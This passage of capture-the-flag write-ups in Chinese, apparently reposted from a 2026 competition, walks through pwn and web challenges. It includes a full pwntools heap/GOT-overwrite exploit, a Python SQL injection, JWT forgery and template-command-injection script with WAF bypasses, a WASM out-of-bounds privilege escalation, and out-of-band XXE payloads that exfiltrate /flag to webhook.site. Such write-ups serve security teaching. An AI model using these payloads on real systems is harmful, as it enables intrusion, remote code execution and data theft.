0x9450 = 0x9440 + 0x90 - 0x80
也就是说只要在写指令里使用 offset = -128,就能正好从 g_diag_path 开始覆盖。后续每次再加 4,就可以把整个字符串逐块写掉
- VNM指令
本题只需要两条:
0x02 <reg> <imm32>//把 4 字节立即数写到寄存器
0x07 <offset8> <reg>//把该寄存器的 4 字节内容写到 0x9440 + 0x90 + signed(offset8)
结束指令:0xFF
七、最终利用思路
目标非常直接:
- 伪造 admin 请求
- 调用 subcmd=0x05
- 用VNM覆盖 g_diag_path
- 把它改成一条 shell 命令:
cp /home/ctf/flag /opt/neuralchat/downloads/f
- admin 流程随后会执行:
system(g_diag_path);
于是等价于执行:
cp /home/ctf/flag /opt/neuralchat/downloads/f
- 最后访问:
/api/download?file=f
即可读回 flag
八、利用过程
第一步:获取状态信息
访问:
GET /api/status
得到:
{"model_loaded":1,"pid":8,"sessions":0,"status":"running","uptime":126,"version":"2.1.0"}
根据响应头 Date 和 uptime 计算:
start_time = server_now - uptime
第二步:推导 admin_key
用 pid 和 start_time 跑 derive_admin_key 算法即可
第三步:构造恶意 VNM
要写入的命令:
cp /home/ctf/flag /opt/neuralchat/downloads/f
每 4 字节拆一块,依次写到偏移:
-128, -124, -120, ...
伪代码如下:
def build_vnm_store(command): payload = bytearray() padded = command + b"\x00" * ((4 - len(command) % 4) % 4) for i in range(0, len(padded), 4): chunk = padded[i:i + 4] offset = -128 + i payload += bytes([0x02, 0x00]) + chunk payload += bytes([0x07, offset & 0xff, 0x00]) payload += b"\xff" return bytes(payload)
第四步:构造 admin token
token = sha256( p32(timestamp) + bytes([subcmd]) + body + admin_key).digest()
第五步:通过/api/raw发送
原始内容:
0xFF || <timestamp> || <subcmd=0x05> || <token> || <vnm_body>
经过 base64 编码后 POST 到:
POST /api/raw
第六步:下载 flag
执行成功后访问:
GET /api/download?file=f
即可得到flag
odd-chat
题目内容:
他们怎么听不懂我说话?
题目信息
- 程序:attachment
- 架构:amd64
- 保护:Partial RELRO、Canary、NX、No PIE
- 附件给了 libc.so.6,版本是 Ubuntu GLIBC 2.27
菜单逻辑很简单:
- Chat
- Change name
- View chat history
- Clear chat
- Quit
每条聊天记录都是一个 malloc(0x20) 的 chunk,头插到链表里,链表指针保存在全局 ptr
漏洞点
- Chat的长度处理有符号整数溢出
关键逻辑是:
v1 = abs(input) % 24;sub_400AD9(ptr, v1);
正常看像是最多只能写 23 字节,但这里的 abs 是手搓的位运算版本,INT_MIN 会出问题。
当输入 -2147483648 时:
- 绝对值结果仍然是 0x80000000
- 再做 % 24 后得到的是 -8
- 这个值后面以无符号形式继续使用
于是 sub_400AD9 的上限实际上变成了一个巨大的无符号数,直接拿到任意长写
- Change name可被转成任意地址写
改名函数本身只是:
fgets(s_0, 48, stdin);
这里的 s_0 是一个全局指针,初始化时指向正常名字缓冲区 s_。
只要能改掉 s_0,Change name 就能变成一个非常舒服的 48 字节任意地址写
- View chat history 和 Chat 都会把 s_0 当字符串打印
打印用户名字时使用:
printf("[#%d] User: %s", ..., s_0);
所以如果把 s_0 改成 puts@got,就能把 GOT 里的 libc 地址当字符串打出来,完成 leak
利用思路
当前 exp.py 的思路可以概括成 4 步:
- 用 INT_MIN 拿到堆溢出
- 借 clear chat 把两个 0x20 chunk 填进 tcache,再做一次 tcache poisoning
- 把 malloc(0x20) 打到全局区 0x6020e0,从而改掉 s_0
- s_0 -> puts@got 先 leak libc,再用 Change name 改 puts@got -> system,最后走 View chat history 触发 system(“/bin/sh”)
详细利用过程
- 先布置两个 chunk
先聊两次,得到两个相邻的 0x20 chunk:
- A:较低地址
- B:较高地址
此时链表是 B -> A
- Clear chat 把它们送进 tcache
执行 Clear chat 后,按 B 再 A 的顺序 free。
对于 0x20 这个大小,tcache 链会变成:
- head -> A
- A->next = B
这样下一次 malloc(0x20) 会先取回 A
Step 3. 重新申请A,溢出改 B->next
再走一次 Chat,这次拿回的是 A
利用 INT_MIN 绕过长度限制,从 A 开始往后写,越过自己的数据区和 B 的 chunk header,最终覆盖掉空闲 chunk B 的 tcache next 指针
exp.py 里对应的目标地址是:
TARGET = 0x6020E0
溢出伪造内容是:
poison = b"A" * 24 + p64(0) + p64(0) + p64(0x31) + p64(TARGET)
含义是:
- 前 24 字节随便填
- 下一块 chunk 的 size 维持成 0x31
- 把空闲 chunk B 的 tcache next 改成 0x6020e0
- 连续两次申请,拿到伪造 chunk
接下来:
- 再申请一次,把 B 正常取出来
- 再申请一次,malloc(0x20) 就会返回 0x6020e0
为什么选 0x6020e0?
- 这里是全局区,可写
- 0x6020f0 附近正好有全局指针 s_0
- 不会像直接打到 0x6020f0 那样让 tcache head 落到别的全局对象上
当前 exp 在这个 fake chunk 上写入:
fake_chunk = p64(0) + p64(5) + p64(elf.got["puts"])
布局对应:
- 0x6020e0: 填 0
- 0x6020e8: 计数值,填个正数避免显示太怪
- 0x6020f0: s_0 = puts@got
这里故意只发 24 字节
因为 sub_400AD9 在遇到换行时会在 buf[len] 位置补 \0,长度正好是 24 时,这个 \0 会落到 fake chunk 的 next 域上,顺手把链表断干净
Step 5. 用 %s 从 puts@got 泄露 libc
接着再走一次 Chat,当前程序会执行:
printf("[#%d] User: %s", ..., s_0);
而此时 s_0 = puts@got,所以能直接读出 puts 的运行时地址。
exp.py 里的处理:
leak_blob = chat(io, forge_ciphertext(b"D" * 24), bypass=True)leak = leak_blob.split(b"User: ", 1)[1][:6]puts_addr = u64(leak.ljust(8, b"\x00"))libc.address = puts_addr - libc.sym["puts"]
Step 6. Change name 变成 GOT 写
libc 基址有了之后,继续走 Change name。
因为 s_0 现在指向 puts@got,所以:
fgets(s_0, 48, stdin);
就变成了对 GOT 区域的覆盖。
当前 exp 覆盖的是:
got_overwrite = flat( libc.sym["system"], libc.sym["__stack_chk_fail"], libc.sym["printf"], libc.sym["__libc_start_main"], libc.sym["fgets"], libc.sym["getchar"],)
也就是:
- puts@got -> system
- 其它临近 GOT 项恢复成正确 libc 地址,避免程序提前崩
- 用 View chat history 触发 system(“/bin/sh”)
exp 一开始就把名字设置成了:
DEFAULT_CMD = b"/bin/sh"
而 View chat history 里有一句:
puts(s_);
当 puts@got 被改成 system 之后,这句等价于:
system("/bin/sh");
于是直接 getshell
当前 exp.py 最后:
choose(io, 3)return io.recvrepeat(3)...finally: io.interactive()
所以会先把前面一段输出读出来,然后进入交互
拿到 shell 后执行
cat flag
即可得到最终flag
完整解题脚本:
from pathlib import Pathimport sys
from pwn import *
HOST = "XX.XX.XX.XX"PORT = 12345
TARGET = 0x6020E0KEY = 1131796DELTA = 1640465991ROUNDS = 17DEFAULT_CMD = b"/bin/sh"
context.binary = elf = ELF("./attachment", checksec=False)libc = ELF("./libc.so.6", checksec=False)context.log_level = "debug"
def decrypt_block(block: bytes) -> bytes: v0 = u32(block[:4]) v1 = u32(block[4:]) acc = (-DELTA * ROUNDS) & 0xFFFFFFFF
for _ in range(ROUNDS): v1 = ( v1 - ( (v0 + acc) ^ ((16 * v0 + KEY) & 0xFFFFFFFF) ^ (((v0 >> 5) + KEY) & 0xFFFFFFFF) ) ) & 0xFFFFFFFF acc = (acc + DELTA) & 0xFFFFFFFF v0 = ( v0 - ( (v1 + acc) ^ ((16 * v1 + KEY) & 0xFFFFFFFF) ^ (((v1 >> 5) + KEY) & 0xFFFFFFFF) ) ) & 0xFFFFFFFF
return p32(v0) + p32(v1)
def forge_ciphertext(desired: bytes) -> bytes: if len(desired) % 8 != 0: raise ValueError("desired ciphertext length must be a multiple of 8") return b"".join(decrypt_block(desired[i : i + 8]) for i in range(0, len(desired), 8))
def start(): return remote(args.HOST or HOST, int(args.PORT or PORT))
def choose(io, choice: int): io.sendline(str(choice).encode())
def chat(io, data: bytes, *, bypass: bool = False) -> bytes: if len(data) > 23 and not bypass: raise ValueError("normal chat payloads must be <= 23 bytes")
choose(io, 1) io.sendlineafter( b"How many characters do you want to send: ", b"-2147483648" if bypass else str(len(data)).encode(), ) io.sendafter(b"> ", data + b"\n") return io.recvuntil(b">> ", drop=True)
def change_name_raw(io, data: bytes) -> bytes: if len(data) > 47: raise ValueError("name payload must be <= 47 bytes")
choose(io, 2) io.sendafter(b"Please enter your name: ", data) return io.recvuntil(b">> ", drop=True)
def initial_command() -> bytes: for arg in sys.argv[1:]: if arg.startswith("FLAGCMD="): cmd = arg.split("=", 1)[1].encode() if len(cmd) > 47 or b"\n" in cmd: raise ValueError("FLAGCMD must be <= 47 bytes and cannot contain newlines") return cmd return DEFAULT_CMD
def exploit(io) -> bytes: io.sendafter(b"Please enter your name: ", initial_command() + b"\n") io.recvuntil(b">> ")
chat(io, b"A") chat(io, b"B")
choose(io, 4) io.recvuntil(b">> ")
poison = b"A" * 24 + p64(0) + p64(0) + p64(0x31) + p64(TARGET) chat(io, forge_ciphertext(poison), bypass=True) chat(io, b"CCCCCCCC")
fake_chunk = p64(0) + p64(5) + p64(elf.got["puts"]) chat(io, forge_ciphertext(fake_chunk), bypass=True)
leak_blob = chat(io, forge_ciphertext(b"D" * 24), bypass=True) leak = leak_blob.split(b"User: ", 1)[1][:6] puts_addr = u64(leak.ljust(8, b"\x00")) libc.address = puts_addr - libc.sym["puts"] log.success(f"puts leak: {puts_addr:#x}") log.success(f"libc base: {libc.address:#x}")
got_overwrite = flat( libc.sym["system"], libc.sym["__stack_chk_fail"], libc.sym["printf"], libc.sym["__libc_start_main"], libc.sym["fgets"], libc.sym["getchar"], ) change_name_raw(io, got_overwrite[:-1])
choose(io, 3) return io.recvrepeat(3)
def main(): io = start() try: result = exploit(io) sys.stdout.buffer.write(result) sys.stdout.flush() finally: io.interactive()
if __name__ == "__main__": main()
Web
gopherblog
题目内容:
GopherBlog 是一个使用 Go 语言开发的现代博客平台。管理员对系统的安全性非常自信,你能突破层层防线吗?
- 初步信息收集
访问首页后可以看到公开路由:
- /
- /login
- /register
- /api/posts
- /api/posts/search
- /admin(未登录会跳转)
- 漏洞一:/api/posts/search存在SQL注入
2.1 注入判断
请求:
GET /api/posts/search?q=' OR 1=1 --
返回结果数量明显异常(返回所有文章),说明注入成立
2.2 确认列数
使用 ORDER BY 测试:
- ORDER BY 6 正常
- ORDER BY 7 异常
可知查询列数为 6 列
2.3 UNION 注入验证
' UNION SELECT 1,2,3,4,5,6 --
返回中出现可控内容,确认可做联合查询
- 通过 SQLi 读取敏感信息
3.1 枚举表结构
' UNION SELECT 999,name,sql,'u','u','2099-01-01' FROM sqlite_master WHERE type='table' --
得到关键表:
- users
- settings
- posts
3.2 读取 settings
' UNION SELECT 999,key,value,'s','s','2099-01-01' FROM settings --
拿到关键配置:
jwt_secret = 0a7bd9304a308b10d5e0a28e6ededfc37e1420d1444d6f98
- 伪造管理员JWT,进入后台
站点使用 HS256,并且 token 放在 cookie:token=…
构造 payload:
{ "username": "admin", "role": "admin", "iat": <now>, "exp": <now+86400>}
用jwt_secret做 HMAC-SHA256 签名后,把token放入cookie,请求:
- /admin
- /admin/newsletter
成功进入管理员页面
- 漏洞二:Newsletter 模板接口可触发方法调用
/admin/newsletter 的 POST 参数中存在 template,后端会渲染 Go template
先用探针确认上下文对象:
{{ printf "%#v" . }}
返回:
&main.NewsletterData{Title:"...", Content:"...", Site:(*main.SiteConfig)(...), Mailer:(*main.MailService)(...), ...}
继续探测 Mailer:
{{ printf "%#v" .Mailer }}
可见:
&main.MailService{Host:"mail.gopherblog.local", Port:587, From:"[email protected]"}
继续测方法:
- {{ .Mailer.Ping }} 可执行并返回命令输出
- {{ .Mailer.Configure “…” 80 }} 可修改 Mailer 配置
- 命令注入确认(RCE)
构造模板:
{{ .Mailer.Configure "127.0.0.1;id;#" 80 }}{{ .Mailer.Ping }}
返回中出现:
uid=0(root) gid=0(root)
说明已拿到命令执行能力(root 权限)
- 读取 flag
WAF 对部分关键字有拦截(如 flag, cat, head 等),但可以绕过:
- 路径不直接写 /flag,改用 /f*
- 命令不用 cat,改用 fold(未被拦)
最终 payload:
{{ .Mailer.Configure "127.0.0.1;fold /f*;#" 80 }}{{ .Mailer.Ping }}
返回:
flag{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}
- 完整解题脚本
import requestsimport urllib.parseimport jsonimport base64import hmacimport hashlibimport timeimport re
BASE = "URL"
def b64u(x: bytes) -> bytes: return base64.urlsafe_b64encode(x).rstrip(b"=")
# 1) SQLi 读 jwt_secretpayload = "' UNION SELECT 999,key,value,'s','s','2099-01-01' FROM settings WHERE key='jwt_secret' -- "url = BASE + "/api/posts/search?q=" + urllib.parse.quote(payload, safe="")r = requests.get(url, verify=False, timeout=20)j = r.json()jwt_secret = [p["content"] for p in j["posts"] if p.get("title") == "jwt_secret"][0]print("[+] jwt_secret:", jwt_secret)
# 2) 伪造 admin JWTheader = {"alg": "HS256", "typ": "JWT"}claims = { "username": "admin", "role": "admin", "iat": int(time.time()), "exp": int(time.time()) + 86400}msg = b64u(json.dumps(header, separators=(",", ":")).encode()) + b"." + \ b64u(json.dumps(claims, separators=(",", ":")).encode())sig = b64u(hmac.new(jwt_secret.encode(), msg, hashlib.sha256).digest())token = (msg + b"." + sig).decode()print("[+] token:", token)
# 3) Newsletter 模板注入 + 命令执行读 flags = requests.Session()s.verify = Falses.cookies.set("token", token)
template = '{{ .Mailer.Configure "127.0.0.1;fold /f*;#" 80 }}{{ .Mailer.Ping }}'resp = s.post( BASE + "/admin/newsletter", data={"action": "preview", "title": "t", "content": "c", "template": template}, timeout=20)
print("[+] raw response:", resp.text)m = re.search(r"flag\\{[^}]+\\}", resp.text, re.I)print("[+] FLAG:", m.group(0) if m else "not found")
WASM-Logger
题目内容:
这是一个集成了WebAssembly扩展机制的现场日志记录平台。系统通过插件化的方式处理各类异构日志流,并设有一套基于身份签名的执行保护机制。请尝试分析该平台是否存在安全缺陷。
一、初步信息收集
访问首页后可以看到两个关键点:
- 前端会请求 /api/v2/meta
- 首页直接暴露了备份文件路径:
/static/backup/plugin-note.txt.bak
访问后可得到一份非常关键的排错记录,里面直接泄露了插件签名和运行时实现细节
核心内容如下:
func deriveSigningKey(version, installNonce string) string { sum := sha256.Sum256([]byte("gl.v5:module:derive|" + version + "|" + installNonce)) return hex.EncodeToString(sum[:])}signature = HMAC-SHA256(真正的签名密钥, wasm 原始字节)
以及:
env.__write(idx, val)env.__set_used(n)env.__rebind_window(off, n)memCtx.Window = memCtx.Scratch[:8]
还有旧兼容实现:
func(off, n uint32) { if off > uint32(len(memCtx.Scratch)) || n == 0 || n > 24 { return } hdr := (*reflect.SliceHeader)(unsafe.Pointer(&memCtx.Window)) base := uintptr(unsafe.Pointer(&memCtx.Scratch[0])) hdr.Data = base + uintptr(off) hdr.Len = int(n) hdr.Cap = int(n)}
运行时结构体:
type RuntimeCtx struct { Scratch [64]byte Used uint16 Class uint8 Role uint32 Gate uint32 Armed uint8 Window []byte}
最终权限判断:
used := int(memCtx.Used)if used > len(memCtx.Scratch) { used = len(memCtx.Scratch)}expect := crc32.ChecksumIEEE(memCtx.Scratch[:used])if memCtx.Armed == 1 && memCtx.Role == 0xA11CE && memCtx.Gate == expect { 返回正式权限}
二、确认两个核心漏洞
- group_by 存在可利用注入
模板导入接口对 field 有白名单,但对 group_by 校验明显不足。
例如以下值都能成功导入:
length(zone)type||1type+1type=1tags[0]
更关键的是,group_by 可以用 \uXXXX 绕过导入阶段的字符校验,在预览阶段被还原后进入 SQL
布尔探测 payload:
{ "name": "p", "field": "type", "group_by": "type\\u0027)\\u0020IS\\u0020NOT\\u0020NULL\\u0020AND\\u0020(1=1)/\\u002a"}
对应统计预览:
- 条件为真时:{“count”:5,”mode”:”rollup-count”,”status”:”ok”}
- 条件为假时:{“count”:0,”mode”:”rollup-count”,”status”:”ok”}
这就形成了稳定的布尔盲注 oracle
- WASM 运行时存在越界写提权
__rebind_window(off, n) 只检查了:
off > len(Scratch)
没有检查:
off + n <= len(Scratch)
因此当:
off = 64n = 13
时,可写窗口会从 Scratch[64] 开始覆盖后面的:
- Used
- Class
- Role
- Gate
- Armed
而最终授权条件只依赖这些字段,因此可以直接伪造
最简单的构造是:
- Used = 0
- Role = 0xA11CE
- Gate = 0
- Armed = 1
因为:
crc32(empty) = 0
所以 Gate = 0 正好满足校验
三、利用盲注读取签名所需的 install_nonce
根据备份文件,签名密钥派生方式为:
sha256("gl.v5:module:derive|" + version + "|" + installNonce)
其中:
version 可以从 /api/v2/meta 直接获取:
{"build_tag":"r5.2.17-ops","rate_limit":9,"runtime":"linux/amd64","site":"plant-7","tenant":"plant-7","version":"r5.2.17-ops"}
但 installNonce 无法直接从公开接口获取,需要盲注数据库
先通过盲注枚举表:
gl_auditgl_runtimegl_templateslogssqlite_sequence
再枚举 gl_runtime 列名:
idscopeinstall_noncebuild_tagcreated_at
之后对 gl_runtime.install_nonce 做盲注。
先确定形态:
- 长度:12
- 全小写
- 十六进制
最终得到:
install_nonce = b68afc834d7e
四、构造恶意 WASM
利用思路很直接:
- 调用 env.__rebind_window(64, 13)
- 把写窗口重绑到鉴权字段
- 用 env.__write 写入伪造值
关键写入值如下:
idx 0..1 -> Used = 0x0000idx 4..7 -> Role = 0x000A11CEidx 8..11 -> Gate = 0x00000000idx 12 -> Armed = 0x01
由于服务端只需要插件能被成功加载执行,所以这里构造一个最小可执行模块即可
五、计算正确签名
已知:
- version = r5.2.17-ops
- install_nonce = b68afc834d7e
派生签名密钥:
sha256("gl.v5:module:derive|r5.2.17-ops|b68afc834d7e")
注意这里服务端实际使用的是:
hex(sha256(...))
得到十六进制字符串后,再作为 HMAC key:
signature = HMAC-SHA256(derived_hex_string, wasm_bytes)
最终计算出的签名为:
b951605d5472da0da648f2734eb2a06e9341e1818dc829443bde2a568709bb4c
六、上传并执行
上传请求返回:
HTTP/1.1 200 OK{"size":192,"status":"plugin uploaded"}
执行请求返回:
{ "output": "Here is my flag for you:\nflag{XXXXXXXXXXXXXXX}\nWhen I learn it well, I will pass on this persistence to you too.\n", "status": "granted"}
成功拿到flag
七、完整利用链总结
整个链路如下:
- 首页暴露备份文件路径
- 备份文件泄露签名算法、WASM API、运行时结构和提权判断
- 模板接口中group_by 存在 \uXXXX 绕过后的 SQL 布尔盲注
- 盲注读出gl_runtime.install_nonce = b68afc834d7e
- 用version = r5.2.17-ops 和 install_nonce 派生真实签名 key
- 上传恶意 WASM
- 利用__rebind_window 越界写覆盖 RuntimeCtx
- 伪造Used/Role/Gate/Armed
- 触发正式权限分支并返回flag
group_by SQL 盲注 -> install_nonce -> 正确签名 -> WASM 越界写提权 -> flag
Active
题目内容:
好像只是一个单纯的静态网站?也许?大概?
一、初始分析
先对 back.jar 做静态分析,发现这是一个 Spring Boot + Shiro 应用,核心业务类很少,主要有:
- com.ctf.activetest.demos.web.UserController
- com.ctf.activetest.demos.web.MyFilter
- com.ctf.activetest.demos.web.MyShiroFilterFactoryBean
- com.ctf.activetest.demos.web.ShiroConfig
- com.ctf.activetest.demos.web.ErrorController
从反编译结果可以得到几个关键点:
- 路由信息
UserController 中能看到如下逻辑:
- GET / -> 返回首页 index
- GET /backup -> 下载类路径中的 static/back.jar
- RequestMapping /permit/{value} -> 无论传什么都返回 admin
- Shiro 过滤器
MyShiroFilterFactoryBean 中只给 /permit/.* 挂了自定义过滤器:
manager.addToChain("/permit/.*", "myFilter");
MyFilter 的逻辑非常简单,只检查请求头:
String token = ((HttpServletRequest) request).getHeader("AccessToken");return token != null && token.equals("faketoken");
也就是说,按照附件逻辑,访问 /permit/* 时只要带上:
AccessToken: faketoken
就应该通过校验
- 模板中的提示
admin.html 里出现了一个非常重要的提示:
POST /parse/sax-parser
并且页面标题明确写的是“XML解析工具”。这通常意味着真正的利用点不是表面上的 Shiro,而是 XML 解析接口
二、动态验证
- /permit/* 并不是最终利用点
虽然附件代码里写死了 AccessToken: faketoken,但线上直接请求:
curl -k -i -H "AccessToken: faketoken" "https://ichunqiu.com/permit/test"
实际返回的是 302 -> /403。
这说明:
- 要么线上运行环境在这一层做了额外处理
- 要么这个点本身就是烟雾弹
但后台模板泄露出的 /parse/sax-parser 更值得优先验证
三、确认 XML 解析接口存在
先直接 POST 一个正常 XML:
curl -k -i -X POST \ "https://ichunqiu.com/parse/sax-parser" \ -H "Content-Type: application/xml" \ --data-binary @payload_valid.xml
其中 payload_valid.xml:
<?xml version="1.0" encoding="UTF-8"?><financialReport> <company> <name>test</name> </company></financialReport>
返回页面为:
XML Loaded Successfully
说明这个接口在靶机上真实存在,并且无需先通过 /permit/*
四、确认 XXE
- 本地文件实体测试
发送如下 XML:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE financialReport [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><financialReport> <company> <name>&xxe;</name> </company></financialReport>
接口返回依然是成功页面,没有直接把内容回显到响应里
这说明:
- 外部实体没有被禁用
- 但接口本身不把解析结果直接显示给我们
- 更像是盲 XXE
- 外连实体测试
再发送一个 HTTP 外部实体:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE financialReport [<!ENTITY xxe SYSTEM "http://example.com/">]><financialReport> <company> <name>&xxe;</name> </company></financialReport>
这次接口返回 500。
这通常意味着:
- 服务端真的去抓了远程内容
- 但抓回来的内容不符合它当前的 XML 解析预期
因此可以确定这里存在可利用的 XXE,并且支持外带
五、使用 OOB XXE 外带数据
为了确认服务端是否真的会出网请求外部 DTD,我先创建一个 webhook 地址,并构造外部实体:
- 探测出网
DTD 内容:
<!ENTITY % ext SYSTEM "https://webhook.site/你的token">%ext;
主 XML:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE financialReport [<!ENTITY % remote SYSTEM "外部DTD地址">%remote;]><financialReport> <company> <name>test</name> </company></financialReport>
结果 webhook 收到来自靶机的请求,User-Agent 为:
Java/11.0.13
说明目标会解析外部 DTD,并且能向外发起请求
- 外带 /etc/hostname
为了验证完整盲打链路,使用如下外部 DTD:
<!ENTITY % file SYSTEM "file:///etc/hostname"><!ENTITY % eval "<!ENTITY % exfil SYSTEM 'https://webhook.site/你的token/?x=%file;'>">%eval;%exfil;
成功收到请求:
?x=engine-1
说明:
- file:// 读取成功
- 内容被拼接进外带 URL 成功发出
到这里就只差枚举flag路径
六、枚举 flag 路径
常见路径包括:
/flag
/flag.txt
/root/flag
/root/flag.txt
/app/flag
/tmp/flag
/proc/self/cwd/flag
这里直接命中第一条:/flag
收到的请求 URL 为:
https://webhook.site/你的token/=flag{XXXXXXXXXXXXXXXXXX}
虽然参数样式被SAX/URL拼接过程弄得有点怪,但核心内容已经完整带出
七、最终利用思路总结
- 从 back.jar 里拿到后台模板和接口提示,发现 POST /parse/sax-parser
- 动态验证后确认该接口在线且未授权即可访问
- 通过本地文件实体和远程实体测试,确认存在 XXE
- 使用外部 DTD + webhook.site 做 OOB XXE 外带
- 先读取 /etc/hostname 验证外带链路可行
- 枚举常见 flag 路径,最终从 /flag 读取到 flag
八、最终Payload
外部 DTD
<!ENTITY % file SYSTEM "file:///flag"><!ENTITY % eval "<!ENTITY % exfil SYSTEM 'https://webhook.site/你的token/?x=%file;'>">%eval;%exfil;
主 XML
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE financialReport [<!ENTITY % remote SYSTEM "你的外部DTD地址">%remote;]><financialReport> <company> <name>test</name> </company></financialReport>
附:
观赛地址、排名查看:
https://match.ichunqiu.com/2026hmg-views
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:星宇Sec 佚名 佚名《2026数字中国创新大赛数字安全赛道暨三明市第六届”红明谷”杯大赛WP》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。







![[漏洞复现]微力同步-Verysync任意文件读取漏洞(VEID-2026-11111)](/images/random/titlepic/9.jpg)

评论